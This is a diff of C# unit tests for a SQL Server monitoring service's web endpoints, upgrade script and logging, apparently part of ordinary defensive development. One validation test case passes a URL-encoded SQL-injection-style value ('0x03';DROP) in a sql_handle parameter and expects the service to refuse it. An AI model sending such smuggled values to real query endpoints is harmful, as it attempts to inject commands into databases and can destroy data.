+        var extractions = Regex.Matches(script, @"tar -xf (\$\w+)");
+        Assert.NotEmpty(extractions);
+        foreach (Match extraction in extractions)
+        {
+            Assert.Matches(@"\$zip = Get-Zip \$\w+", script[..extraction.Index][^400..]);
+        }
+    }
+
+    /// <summary>
+    /// The upgrade-shape check found that Windows PowerShell 5.1 leaves <c>$PSScriptRoot</c> empty inside the
+    /// param() default of a <c>[CmdletBinding()]</c> script started with <c>-File</c>, so <c>-Source</c> resolved to
+    /// nothing and an upgrade run from its staging folder stopped at "No -Source given" (#5627). The body applies the
+    /// default; if it goes, the documented way to run the script fails on the engine an operator's prompt starts.
+    /// </summary>
+    [Fact]
+    public void TheUpgradeScript_AppliesItsSourceDefaultInTheBody()
+    {
+        var script = ReadRepoFileLf("Darling/tools/upgrade-darling.ps1");
+
+        Assert.Contains("[string]$Source = $PSScriptRoot,", script, StringComparison.Ordinal);
+        Assert.Contains("if ([string]::IsNullOrWhiteSpace($Source)) { $Source = $PSScriptRoot }", script, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheNightly_CallsTheWorkflow_GatedLikeItsOtherJobs_AndPublishDoesNotWaitOnIt()
+    {
+        var nightly = ReadRepoFileLf(".github/workflows/nightly.yml");
+
+        var job = Regex.Match(nightly, @"(?ms)^  darling-upgrade-shapes:\n(?<body>.*?)(?=^  \S)");
+        Assert.True(job.Success, "nightly.yml has no darling-upgrade-shapes job.");
+        var body = job.Groups["body"].Value;
+
+        Assert.Contains("    uses: ./.github/workflows/darling-upgrade-shapes.yml\n", body, StringComparison.Ordinal);
+        Assert.Contains("    needs: check\n", body, StringComparison.Ordinal);
+        Assert.Contains("    if: needs.check.outputs.has_changes == 'true' || inputs.from_schedule != true\n", body, StringComparison.Ordinal);
+
+        var publish = Regex.Match(nightly, @"(?m)^  publish:\n    needs: (?<needs>\[[^\]]*\])").Groups["needs"].Value;
+        Assert.NotEmpty(publish);
+        Assert.DoesNotContain("darling-upgrade-shapes", publish, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingWatermarkFloorPlanShapeLiveTests.cs b/Darling/Darling.Tests/DarlingWatermarkFloorPlanShapeLiveTests.cs
index c912332026..e9d26f9652 100644
--- a/Darling/Darling.Tests/DarlingWatermarkFloorPlanShapeLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingWatermarkFloorPlanShapeLiveTests.cs
@@ -80,7 +80,8 @@ sits outside the collector catalog and so outside ConvertToHypertablesAsync. */
         var bodySucceeded = false;
         try
         {
-            var nowUtc = DateTime.UtcNow;
+            /* #5608: the end of the window is a fixed point inside one chunk, so the chunk layout the plan is read against is the same at any hour. */
+            var nowUtc = DateTime.SpecifyKind(LiveClock.AnchoredEnd(), DateTimeKind.Utc);
             long logId = 4_469_000_000;
 
             /* 30 days of history, one row per collector per day, most of it old enough to compress —
diff --git a/Darling/Darling.Tests/DarlingWatermarkFloorScanBoundLiveTests.cs b/Darling/Darling.Tests/DarlingWatermarkFloorScanBoundLiveTests.cs
index 48b56b111a..78b1c0053a 100644
--- a/Darling/Darling.Tests/DarlingWatermarkFloorScanBoundLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingWatermarkFloorScanBoundLiveTests.cs
@@ -75,7 +75,8 @@ read under test — the same race the plan-shape file's own live seeds guard aga
         var bodySucceeded = false;
         try
         {
-            var nowUtc = DateTime.UtcNow;
+            /* #5608: the end of the window is a fixed point inside one chunk, so the chunk layout the plan is read against is the same at any hour. */
+            var nowUtc = DateTime.SpecifyKind(LiveClock.AnchoredEnd(), DateTimeKind.Utc);
             long logId = 4_469_200_000;
 
             /* 30 days of history, one row per collector per day — most chunks close to a day wide and old
diff --git a/Darling/Darling.Tests/DarlingWatermarkIndexEquivalenceLiveTests.cs b/Darling/Darling.Tests/DarlingWatermarkIndexEquivalenceLiveTests.cs
index 11f3e0246c..1041308ad2 100644
--- a/Darling/Darling.Tests/DarlingWatermarkIndexEquivalenceLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingWatermarkIndexEquivalenceLiveTests.cs
@@ -58,7 +58,8 @@ public async Task ReadCollectorWatermarksAsync_MatchesTheBoundedGroupByOracle()
         var bodySucceeded = false;
         try
         {
-            var nowUtc = DateTime.UtcNow;
+            /* #5608: the end of the window is a fixed point inside one chunk, so the chunk layout the plan is read against is the same at any hour. */
+            var nowUtc = DateTime.SpecifyKind(LiveClock.AnchoredEnd(), DateTimeKind.Utc);
             long logId = 4_150_100_000;
 
             /* Several real collector names (a mix of cadences), 10 days of history so most chunks
diff --git a/Darling/Darling.Tests/DarlingWebAssetsTests.cs b/Darling/Darling.Tests/DarlingWebAssetsTests.cs
index 4268ddec1c..bdbc7f0584 100644
--- a/Darling/Darling.Tests/DarlingWebAssetsTests.cs
+++ b/Darling/Darling.Tests/DarlingWebAssetsTests.cs
@@ -40,10 +40,12 @@ public void Wwwroot_IndexHtml_IsCopiedToTheBuildOutput()
     [InlineData("css/theme.css")]
     [InlineData("css/app.css")]
     [InlineData("css/editor.css")]
+    [InlineData("css/time-range.css")]
     [InlineData("js/app.js")]
     [InlineData("js/util.js")]
     [InlineData("js/panels.js")]
     [InlineData("js/charts.js")]
+    [InlineData("js/grid-tools.js")]
     [InlineData("js/views-api.js")]
     [InlineData("js/derive.js")]
     [InlineData("js/editor.js")]
diff --git a/Darling/Darling.Tests/DarlingWebEndpointsTests.cs b/Darling/Darling.Tests/DarlingWebEndpointsTests.cs
index f9a7a4e037..538019d6fc 100644
--- a/Darling/Darling.Tests/DarlingWebEndpointsTests.cs
+++ b/Darling/Darling.Tests/DarlingWebEndpointsTests.cs
@@ -15,6 +15,8 @@
 using System.Text.Json.Nodes;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.AspNetCore.Http;
+using Microsoft.Extensions.DependencyInjection;
 using ModelContextProtocol.Server;
 using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Service;
@@ -66,6 +68,9 @@ public void ReadEndpoints_AreExactlyTheReadToolCatalog_MinusTheDocumentedExclusi
 
         var expected = catalog.Except(DarlingWebEndpoints.ExcludedToolNames).ToHashSet(StringComparer.Ordinal);
 
+        /* The web page's own keyed reads (#5241) have no tool behind them, by design: exactly this set is added. */
+        expected.UnionWith(DarlingWebEndpoints.WebOnlyReadNames);
+
         /* Symmetric-difference messages so a miss names the exact tool. */
         var missing = expected.Except(endpoints).OrderBy(n => n, StringComparer.Ordinal).ToArray();
         var extra = endpoints.Except(expected).OrderBy(n => n, StringComparer.Ordinal).ToArray();
@@ -119,6 +124,18 @@ private static Task<bool> ReadDispatchContainsInAFlowThatDoesNotInherit(string r
         }
     }
 
+    [Fact]
+    public void WebOnlyReads_AreNotMcpTools_AndAreServedAndCataloged()
+    {
+        var catalog = ReflectToolCatalog();
+        foreach (var name in DarlingWebEndpoints.WebOnlyReadNames)
+        {
+            Assert.DoesNotContain(name, catalog);
+            Assert.Contains(name, DarlingWebEndpoints.BuildReadDispatch().Keys);
+            Assert.Contains(name, DarlingWebEndpoints.CatalogDescriptors.Keys);
+        }
+    }
+
     [Fact]
     public void ExcludedToolNames_AreAllRealToolsInTheCatalog()
     {
@@ -149,10 +166,10 @@ mute_analysis_finding. get_tool_guide (#3898) reads no data: it serves the MCP t
             new[]
             {
                 "add_servers", "analyze_plan_xml", "analyze_procedure_plan", "analyze_query_plan", "analyze_query_store_plan",
-                "analyze_server", "create_custom_alert_rule", "create_custom_view", "create_mute_rule", "delete_custom_alert_rule",
-                "delete_custom_view", "delete_mute_rule", "delete_notification_route", "describe_custom_view_catalog", "get_custom_alert_rule", "get_custom_view", "get_tool_guide",
+                "analyze_server", "assign_server_tag", "create_custom_alert_rule", "create_custom_view", "create_mute_rule", "create_server_tag", "delete_custom_alert_rule",
+                "delete_custom_view", "delete_mute_rule", "delete_notification_route", "delete_server_tag", "describe_custom_view_catalog", "edit_server", "get_custom_alert_rule", "get_custom_view", "get_tool_guide",
                 "list_custom_alert_rules", "list_custom_alert_templates", "list_custom_views", "mute_analysis_finding", "remove_server", "run_custom_view_panel",
-                "set_mute_rule_enabled", "set_notification_route_enabled", "test_custom_alert_rule", "update_alert_settings", "update_custom_alert_rule", "update_custom_view", "update_mute_rule", "validate_custom_alert_rule", "validate_custom_view",
+                "set_mute_rule_enabled", "set_notification_route_enabled", "test_custom_alert_rule", "unassign_server_tag", "update_alert_settings", "update_custom_alert_rule", "update_custom_view", "update_mute_rule", "update_server_tag", "validate_custom_alert_rule", "validate_custom_view",
             },
             DarlingWebEndpoints.ExcludedToolNames.OrderBy(n => n, StringComparer.Ordinal).ToArray());
     }
@@ -178,20 +195,161 @@ public void ReadEndpoints_IncludeTheAgHealthTool()
     [Fact]
     public void ReadEndpoints_ActiveQueries_KeepsTheTwoThousandCharacterWebPreview()
     {
-        /* #4198 lane W2: the MCP default fell to a 500-char query_text preview (QueryTextPreviewLength), but
+        /* #4198 lane W2: the MCP default fell to a 500-char (now 400) query_text preview (QueryTextPreviewLength), but
            the web viewer isn't that budget's caller — its /api/read row calls the internal budget-taking
            overload with an explicit 2000, the pre-#4198 McpHelpers.Truncate budget every caller got, so the
            Active Queries tab doesn't shrink under it. A regression here (dropping the overload, or the literal
-           2000) silently starves that tab's query text down to 500 characters. Source-text pin rather than a
-           live call: no rig in this lane. */
+           2000) silently starves that tab's query text down to the MCP preview (400 characters). Source-text pin rather than a
+           live call: no rig in this lane. #5245: the entry now binds the chosen databases (DatabaseNames(c)), so the pin
+           matches the call and not the whole entry; the 2000 is what it guards. */
         var source = RepoFile.ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
         Assert.Contains(
-            "[\"get_active_queries\"] = (c, pg, an) => DarlingMcpSessionTools.GetActiveQueries(pg, Server(c), Hours(c, 1), Str(c, \"database_name\"), QueryBool(c, \"blocking_only\", false), Rows(c, \"limit\", 50), 2000, AsOf(c), c.RequestAborted),",
+            "DarlingMcpSessionTools.GetActiveQueries(pg, Server(c), Hours(c, 1), databases, QueryBool(c, \"blocking_only\", false), Str(c, \"wait_type\"), Rows(c, \"limit\", 50), 2000, AsOf(c), logger, c.RequestAborted)",
             source, StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// #5235: the Active Queries page sends <c>?wait_type=</c> to <c>/api/read/get_active_queries</c>, so the web read
+    /// has to declare it and pass it on. The catalog row lists it as optional text between blocking_only and limit (the
+    /// tool's own order, so the catalog picker and the MCP signature agree), and the dispatch row hands the raw query
+    /// value to the tool, which trims it and treats a blank as none. Without the catalog row the picker never offers
+    /// the parameter; without the dispatch argument the page's filter is silently ignored and shows every wait.
+    /// </summary>
+    [Fact]
+    public void ReadEndpoints_ActiveQueries_DeclaresWaitType()
+    {
+        var read = DarlingWebEndpoints.CatalogDescriptors["get_active_queries"];
+        Assert.Equal(
+            new[] { "server", "hours", "database_name", "blocking_only", "wait_type", "limit", "as_of" },
+            read.Params.Select(p => p.Name).ToArray());
+        var waitType = Assert.Single(read.Params, p => p.Name == "wait_type");
+        Assert.Equal("text", waitType.Type);
+        Assert.False(waitType.Required);
+        Assert.Null(waitType.Default);
+
+        var source = RepoFile.ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+        Assert.Contains("Str(c, \"wait_type\"), Rows(c, \"limit\", 50), 2000, AsOf(c)", source, StringComparison.Ordinal);
+    }
+
     /* ── response-kind mapping (the error envelope -> 500, the invalid envelope -> 400 as the body, the '{'-sniff -> 200, miss envelope -> 200) ── */
 
+    /// <summary>A stored plan arrives from the tool as bare XML; the web route answers it as 200 JSON (the
+    /// classifier would otherwise file a leading "&lt;" as a 400), with the truncation flag decided from the tool's
+    /// own cut marker. Envelopes pass through unchanged.</summary>
+    [Fact]
+    public void WrapPlanXml_AWholePlan_IsJsonThatClassifiesAsPassthrough()
+    {
+        const string xml = "<ShowPlanXML><x a=\"1\"/></ShowPlanXML>";
+        var wrapped = DarlingWebEndpoints.WrapPlanXml(xml, "0xABC", "db1");
+        Assert.Equal(DarlingWebEndpoints.ToolResponseKind.JsonPassthrough, DarlingWebEndpoints.ClassifyToolResponse(wrapped));
+        using var doc = System.Text.Json.JsonDocument.Parse(wrapped);
+        Assert.Equal(xml, doc.RootElement.GetProperty("plan_xml").GetString());
+        Assert.Equal("0xABC", doc.RootElement.GetProperty("query_hash").GetString());
+        Assert.Equal("db1", doc.RootElement.GetProperty("database_name").GetString());
+        Assert.False(doc.RootElement.GetProperty("truncated").GetBoolean());
+    }
+
+    [Fact]
+    public void WrapPlanXml_ACutPlan_IsFlaggedTruncated_FromTheRealTruncateMarker()
+    {
+        var cut = McpHelpers.Truncate("<ShowPlanXML>" + new string('x', 100) + "</ShowPlanXML>", 20)!;
+        using var doc = System.Text.Json.JsonDocument.Parse(DarlingWebEndpoints.WrapPlanXml(cut, "H", null));
+        Assert.True(doc.RootElement.GetProperty("truncated").GetBoolean());
+        Assert.DoesNotContain("(truncated)", doc.RootElement.GetProperty("plan_xml").GetString());
+        Assert.Equal(System.Text.Json.JsonValueKind.Null, doc.RootElement.GetProperty("database_name").ValueKind);
+    }
+
+    [Theory]
+    [InlineData("{\"status\":\"unavailable\",\"message\":\"No stored plan found.\"}")]
+    [InlineData("{\"status\":\"not_collected\",\"message\":\"Not collected.\"}")]
+    public void WrapPlanXml_AnEnvelope_PassesThroughUnchanged(string envelope) =>
+        Assert.Equal(envelope, DarlingWebEndpoints.WrapPlanXml(envelope, "H", null));
+
+    /// <summary>#5228: the identity overload echoes the caller's key in the order given, then plan_xml and
+    /// truncated; the original (query_hash, database_name) overload is that same wrap with those two keys.</summary>
+    [Fact]
+    public void WrapPlanXml_TheIdentityOverload_EchoesTheKeyInOrder_AndMatchesTheHashOverload()
+    {
+        const string xml = "<ShowPlanXML><x a=\"1\"/></ShowPlanXML>";
+        var identity = new Dictionary<string, object?>(StringComparer.Ordinal)
+        {
+            ["collection_time"] = "2026-03-04T05:06:07.1234560",
+            ["session_id"] = 51,
+            ["request_id"] = 0,
+            ["live"] = false,
+        };
+        using var doc = System.Text.Json.JsonDocument.Parse(DarlingWebEndpoints.WrapPlanXml(xml, identity));
+        var names = doc.RootElement.EnumerateObject().Select(p => p.Name).ToArray();
+        Assert.Equal(new[] { "collection_time", "session_id", "request_id", "live", "plan_xml", "truncated" }, names);
+        Assert.Equal(51, doc.RootElement.GetProperty("session_id").GetInt32());
+        Assert.Equal(xml, doc.RootElement.GetProperty("plan_xml").GetString());
+
+        var byHash = DarlingWebEndpoints.WrapPlanXml(xml, "0xABC", "db1");
+        var byIdentity = DarlingWebEndpoints.WrapPlanXml(xml, new Dictionary<string, object?>(StringComparer.Ordinal)
+        {
+            ["query_hash"] = "0xABC",
+            ["database_name"] = "db1",
+        });
+        Assert.Equal(byHash, byIdentity);
+    }
+
+    /// <summary>#5228: the three row plan reads refuse a missing or unparseable key BEFORE touching the store
+    /// (the store argument is never used on these paths), with the dispatch's own <c>invalid</c> envelope.</summary>
+    [Theory]
+    [InlineData("get_active_query_plan_xml", "session_id=1", "collection_time")]
+    [InlineData("get_active_query_plan_xml", "collection_time=not-a-time&session_id=1", "collection_time")]
+    [InlineData("get_active_query_plan_xml", "collection_time=2026-03-04T05:06:07.1234560Z", "session_id")]
+    [InlineData("get_active_query_plan_xml", "collection_time=2026-03-04T05:06:07.1234560Z&session_id=abc", "session_id")]
+    [InlineData("get_active_query_plan_xml", "collection_time=2026-03-04T05:06:07.1234560Z&session_id=1&request_id=x", "request_id")]
+    [InlineData("get_query_store_plan_xml", "query_id=1", "database_name")]
+    [InlineData("get_query_store_plan_xml", "database_name=db1", "query_id")]
+    [InlineData("get_query_store_plan_xml", "database_name=db1&query_id=abc", "query_id")]
+    [InlineData("get_query_store_plan_xml", "database_name=db1&query_id=1&plan_id=abc", "plan_id")]
+    [InlineData("get_query_store_query_history", "query_id=1", "database_name")]
+    [InlineData("get_query_store_query_history", "database_name=db1", "query_id")]
+    [InlineData("get_query_store_query_history", "database_name=db1&query_id=abc", "query_id")]
+    [InlineData("get_active_query_plan_xml", "collection_time=2026-03-04&session_id=1", "collection_time")]
+    [InlineData("get_active_query_plan_xml", "collection_time=3/4/2026&session_id=1", "collection_time")]
+    [InlineData("get_active_query_plan_xml", "collection_time=2026-03-04T05:06:07.1234560Z&session_id=1&live=yes", "live")]
+    [InlineData("get_procedure_plan_xml", "sql_handle=abc", "sql_handle")]
+    [InlineData("get_procedure_plan_xml", "sql_handle=0x", "sql_handle")]
+    [InlineData("get_procedure_plan_xml", "sql_handle=0x03%27%3BDROP", "sql_handle")]
+    [InlineData("get_procedure_plan_xml", "", "sql_handle")]
+    [InlineData("get_query_repro_script", "", "kind")]
+    [InlineData("get_query_repro_script", "kind=procedure", "kind")]
+    [InlineData("get_query_repro_script", "kind=bogus", "kind")]
+    [InlineData("get_query_repro_script", "kind=query_hash", "query_hash")]
+    [InlineData("get_query_repro_script", "kind=query_store&query_id=1", "database_name")]
+    [InlineData("get_query_repro_script", "kind=query_store&database_name=d", "query_id")]
+    [InlineData("get_query_repro_script", "kind=query_store&database_name=d&query_id=x", "query_id")]
+    [InlineData("get_query_repro_script", "kind=query_store&database_name=d&query_id=1&plan_id=x", "plan_id")]
+    [InlineData("get_query_repro_script", "kind=active_snapshot&session_id=1", "collection_time")]
+    [InlineData("get_query_repro_script", "kind=active_snapshot&collection_time=2026-03-04T05:06:07.1234560Z", "session_id")]
+    [InlineData("get_query_repro_script", "kind=active_snapshot&collection_time=bad&session_id=1", "collection_time")]
+    [InlineData("get_query_repro_script", "kind=active_snapshot&collection_time=2026-03-04T05:06:07.1234560Z&session_id=1&request_id=x", "request_id")]
+    [InlineData("get_blocking_plan_xml", "blocked_spid=1&blocking_spid=2", "event_time")]
+    [InlineData("get_blocking_plan_xml", "event_time=2026-03-04T05:06:07.1234560Z&blocking_spid=2", "blocked_spid")]
+    [InlineData("get_blocking_plan_xml", "event_time=2026-03-04T05:06:07.1234560Z&blocked_spid=1", "blocking_spid")]
+    [InlineData("get_blocking_plan_xml", "event_time=2026-03-04T05:06:07.1234560Z&blocked_spid=abc&blocking_spid=2", "blocked_spid")]
+    [InlineData("get_blocking_plan_xml", "event_time=2026-03-04T05:06:07.1234560Z&blocked_spid=1&blocking_spid=2&blocked_ecid=x", "blocked_ecid")]
+    [InlineData("get_blocking_plan_xml", "event_time=2026-03-04T05:06:07.1234560Z&blocked_spid=1&blocking_spid=2&blocking_ecid=x", "blocking_ecid")]
+    [InlineData("get_blocking_plan_xml", "event_time=2026-03-04&blocked_spid=1&blocking_spid=2", "event_time")]
+    [InlineData("get_blocking_plan_xml", "event_time=not-a-time&blocked_spid=1&blocking_spid=2", "event_time")]
+    [InlineData("get_blocking_plan_xml", "event_time=2026-03-04T05:06:07.1234560Z&blocked_spid=1&blocking_spid=2&side=sideways", "side")]
+    [InlineData("get_deadlock_plan_xml", "deadlock_time=2026-03-04T05:06:07.1234560Z", "collection_time")]
+    [InlineData("get_deadlock_plan_xml", "collection_time=2026-03-04T05:06:07.1234560Z", "deadlock_time")]
+    [InlineData("get_deadlock_plan_xml", "collection_time=2026-03-04&deadlock_time=2026-03-04T05:06:07.1234560Z", "collection_time")]
+    [InlineData("get_deadlock_plan_xml", "collection_time=2026-03-04T05:06:07.1234560Z&deadlock_time=3/4/2026", "deadlock_time")]
+    public async Task TheRowPlanReads_RefuseAMissingOrUnparseableKey_BeforeTheStore(string tool, string query, string key)
+    {
+        var context = new Microsoft.AspNetCore.Http.DefaultHttpContext();
+        context.Request.QueryString = new Microsoft.AspNetCore.Http.QueryString("?" + query);
+        var result = await DarlingWebEndpoints.BuildReadDispatch()[tool](context, null!, null!);
+        using var doc = System.Text.Json.JsonDocument.Parse(result);
+        Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+        Assert.Contains(key, result, StringComparison.Ordinal);
+    }
+
     [Theory]
     [InlineData("{\"cpu_percent\":42}")]
     [InlineData("  {\"cpu_percent\":42}")]                 // leading whitespace still sniffs as JSON
@@ -413,6 +571,44 @@ public void ClampRows_BoundsCallerSuppliedRowCounts(int requested, int expected)
     public void MuteRuleEnvelopeStatus_MapsTheVerbEnvelopeOntoHttp(string envelope, int successStatus, int expected) =>
         Assert.Equal(expected, DarlingWebEndpoints.MuteRuleEnvelopeStatus(envelope, successStatus));
 
+    /* ── the server-tag envelope → HTTP status mapping (#5085): the mute-rule mapping plus conflict and
+       confirm_required as 409, the body untouched. ── */
+
+    [Theory]
+    [InlineData("{\"status\":\"created\",\"tag\":{}}", 201, 201)]
+    [InlineData("{\"status\":\"updated\",\"tag\":{}}", 201, 201)]
+    [InlineData("{\"status\":\"updated\",\"tag\":{}}", 200, 200)]
+    [InlineData("{\"status\":\"unchanged\",\"tag\":{}}", 200, 200)]
+    [InlineData("{\"status\":\"deleted\",\"tag_id\":7}", 200, 200)]
+    [InlineData("{\"status\":\"assigned\",\"tag_id\":7}", 200, 200)]
+    [InlineData("{\"status\":\"unassigned\",\"tag_id\":7}", 200, 200)]
+    [InlineData("{\"status\":\"some_future_status\"}", 200, 500)]   // N2: an unmapped status is a 500, never a silent 2xx
+    [InlineData("{\"status\":\"some_future_status\"}", 201, 500)]
+    [InlineData("{\"status\":\"invalid\",\"refusal\":\"bad_name\",\"message\":\"x\"}", 201, 400)]
+    [InlineData("{\"status\":\"not_found\",\"message\":\"x\"}", 200, 404)]
+    [InlineData("{\"status\":\"conflict\",\"refusal\":\"duplicate_name\",\"message\":\"x\"}", 201, 409)]
+    [InlineData("{\"status\":\"confirm_required\",\"refusal\":\"rules_affected\",\"affected_rules\":[{\"rule_id\":1}]}", 200, 409)]
+    public void ServerTagEnvelopeStatus_MapsTheVerbEnvelopeOntoHttp(string envelope, int successStatus, int expected) =>
+        Assert.Equal(expected, DarlingWebEndpoints.ServerTagEnvelopeStatus(envelope, successStatus));
+
+    [Fact]
+    public void ServerTagEnvelopeStatus_TheCoresCaughtException_IsAServerError() =>
+        Assert.Equal(500, DarlingWebEndpoints.ServerTagEnvelopeStatus(
+            McpHelpers.FormatError("create_server_tag", new InvalidOperationException("connection reset")), 201));
+
+    [Fact]
+    public async Task ServerTagToolResult_ConfirmRequired_KeepsTheEnvelopeAsTheBodyUnder409()
+    {
+        var envelope = "{\"status\":\"confirm_required\",\"refusal\":\"rules_affected\",\"affected_rules\":[{\"rule_id\":1}]}";
+        var result = DarlingWebEndpoints.ServerTagToolResult(envelope, "/api/server-tags/{id}", Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, 5);
+        var context = new Microsoft.AspNetCore.Http.DefaultHttpContext { RequestServices = new Microsoft.Extensions.DependencyInjection.ServiceCollection().AddLogging().BuildServiceProvider() };
+        context.Response.Body = new System.IO.MemoryStream();
+        await result.ExecuteAsync(context);
+        Assert.Equal(409, context.Response.StatusCode);
+        context.Response.Body.Position = 0;
+        Assert.Contains("affected_rules", await new System.IO.StreamReader(context.Response.Body).ReadToEndAsync(), StringComparison.Ordinal);
+    }
+
     /// <summary>The refusal a shared producer builds reaches the write surface's status mapping through the
     /// same classifier arm the read surface uses (#3739): one recognizer, one word, one code — executed
     /// against the real builder rather than a literal.</summary>
@@ -589,4 +785,51 @@ private static string RepoRoot([CallerFilePath] string thisFile = "")
         Assert.NotNull(dir);
         return dir!;
     }
+
+    /* ---- #5245: a single-value query key sent more than once is refused, never read as the joined "a,b" ---- */
+
+    private static DefaultHttpContext Ask(string query)
+    {
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = new QueryString(query);
+        return context;
+    }
+
+    [Theory]
+    [InlineData("", "", true)]
+    [InlineData("?confirm=true", "true", true)]
+    [InlineData("?confirm=", "", true)]
+    [InlineData("?confirm=true&confirm=true", "", false)]
+    [InlineData("?confirm=&confirm=true", "", false)]
+    public void TrySingleQueryValue_ReturnsTheOneValue_AndRefusesARepeatedKey(string query, string expected, bool accepted)
+    {
+        var context = Ask(query);
+
+        Assert.Equal(accepted, DarlingWebEndpoints.TrySingleQueryValue(context.Request.Query, "confirm", out var value));
+        Assert.Equal(expected, value);
+    }
+
+    [Theory]
+    [InlineData("", false)]
+    [InlineData("?confirm=true", true)]
+    public void ParseConfirm_SingleValue_BehavesAsBefore(string query, bool expectedConfirm)
+    {
+        var (confirm, refusal) = DarlingWebEndpoints.ParseConfirm(Ask(query).Request.Query);
+
+        Assert.Equal(expectedConfirm, confirm);
+        Assert.Null(refusal);
+    }
+
+    [Theory]
+    [InlineData("?confirm=1", "confirm must be true, or omitted.")]
+    [InlineData("?confirm=TRUE", "confirm must be true, or omitted.")]
+    [InlineData("?confirm=true&confirm=true", "confirm must be given once, as true, or omitted.")]
+    [InlineData("?confirm=true&confirm=1", "confirm must be given once, as true, or omitted.")]
+    public void ParseConfirm_RefusesAWrongValue_AndARepeatedKey(string query, string expectedRefusal)
+    {
+        var (confirm, refusal) = DarlingWebEndpoints.ParseConfirm(Ask(query).Request.Query);
+
+        Assert.False(confirm);
+        Assert.Equal(expectedRefusal, refusal);
+    }
 }
diff --git a/Darling/Darling.Tests/DarlingWebFailureHandlingTests.cs b/Darling/Darling.Tests/DarlingWebFailureHandlingTests.cs
index 5909564524..f44a501ef3 100644
--- a/Darling/Darling.Tests/DarlingWebFailureHandlingTests.cs
+++ b/Darling/Darling.Tests/DarlingWebFailureHandlingTests.cs
@@ -182,7 +182,7 @@ public void Log<TState>(
     /// middleware registered textually before it — the same nesting these test-only routes rely on. No live
     /// Postgres needed: every route here throws before ever opening the (unopened) pool.
     /// </summary>
-    private static async Task<(TestServer Server, CapturingTestLogger Logger)> BuildServer()
+    private static async Task<(TestServer Server, CapturingTestLogger Logger)> BuildServer(CollectorRuntimeState? collectorState = null)
     {
         var builder = WebApplication.CreateBuilder(new WebApplicationOptions
         {
@@ -203,7 +203,7 @@ public void Log<TState>(
         var host = new DarlingWebHostService(
             capturing,
             new WebRuntimeState(),
-            new CollectorRuntimeState(),
+            collectorState ?? new CollectorRuntimeState(),
             new WebTlsCertificateState(),
             new BaselineCache());
 
@@ -219,6 +219,9 @@ public void Log<TState>(
         app.MapGet("/api/__test/timeout", (HttpContext _) =>
             throw new PostgresException("canceling statement due to statement timeout", "ERROR", "ERROR", "57014"));
 
+        /* W12: a route that answers 503 on its own, with no report of its own. */
+        app.MapGet("/api/__test/unreported-503", () => Results.Json(new { error = "busy" }, statusCode: StatusCodes.Status503ServiceUnavailable));
+
         app.MapGet("/api/__test/generic", (HttpContext _) =>
             throw new InvalidOperationException("super secret internal connection string detail"));
 
@@ -254,7 +257,9 @@ private static Task<HttpContext> Send(TestServer server, string path, Cancellati
         return server.SendAsync(ctx =>
         {
             ctx.Request.Method = "GET";
-            ctx.Request.Path = path;
+            var queryAt = path.IndexOf('?', StringComparison.Ordinal);
+            ctx.Request.Path = queryAt < 0 ? path : path[..queryAt];
+            if (queryAt >= 0) ctx.Request.QueryString = new QueryString(path[queryAt..]);
             ctx.Request.Headers.Host = "localhost";
             ctx.Connection.RemoteIpAddress = IPAddress.Loopback;
             if (requestAborted is { } token)
@@ -290,6 +295,76 @@ public async Task StatementTimeout_Returns503_WithTheRuledJsonBody_AndWritesOneW
         Assert.Contains("57014", logger.Joined, StringComparison.Ordinal);
     }
 
+    [Fact]
+    public async Task A503TheRouteAnsweredWithoutReporting_StillWritesOneWarning_NamingTheEndpointAndTheServer()
+    {
+        var (server, logger) = await BuildServer();
+        using var _ = server;
+
+        var ctx = await Send(server, "/api/__test/unreported-503?server=example-sql-01");
+
+        Assert.Equal(StatusCodes.Status503ServiceUnavailable, ctx.Response.StatusCode);
+        /* The test server hands the response back once the body is complete; the backstop's line is written just after, so wait for it. */
+        for (var wait = 0; wait < 100 && logger.CountAtLevel(LogLevel.Warning) == 0; wait++)
+        {
+            await Task.Delay(20, TestContext.Current.CancellationToken);
+        }
+
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Error));
+        Assert.Contains("/api/__test/unreported-503", logger.Joined, StringComparison.Ordinal);
+        Assert.Contains("example-sql-01", logger.Joined, StringComparison.Ordinal);
+        Assert.Contains("503", logger.Joined, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ThePingRoutesOwn503_IsNotReportedAsAFailedRead()
+    {
+        var stopped = new CollectorRuntimeState();
+        stopped.PublishStopped(CollectorRuntimeState.StartupStep.Configuration);
+        var (server, logger) = await BuildServer(stopped);
+        using var _ = server;
+
+        var ctx = await Send(server, "/api/ping");
+
+        Assert.Equal(StatusCodes.Status503ServiceUnavailable, ctx.Response.StatusCode);
+        await Task.Delay(300, TestContext.Current.CancellationToken);
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Error));
+    }
+
+    [Fact]
+    public async Task AReportedTimeout_StillWritesOnlyOneLine_AndNowNamesTheCause()
+    {
+        var (server, logger) = await BuildServer();
+        using var _ = server;
+
+        var ctx = await Send(server, "/api/__test/timeout");
+
+        Assert.Equal(StatusCodes.Status503ServiceUnavailable, ctx.Response.StatusCode);
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Contains("statement_timeout", logger.Joined, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Cause_TellsAServerStatementTimeoutFromTheClientsOwnWait()
+    {
+        Assert.Equal("statement_timeout", DarlingWebFailureLog.Cause(new PostgresException("canceling statement due to statement timeout", "ERROR", "ERROR", "57014")));
+        Assert.Equal("client_timeout_or_pool_wait", DarlingWebFailureLog.Cause(new NpgsqlException("Exception while reading from stream", new TimeoutException())));
+    }
+
+    [Fact]
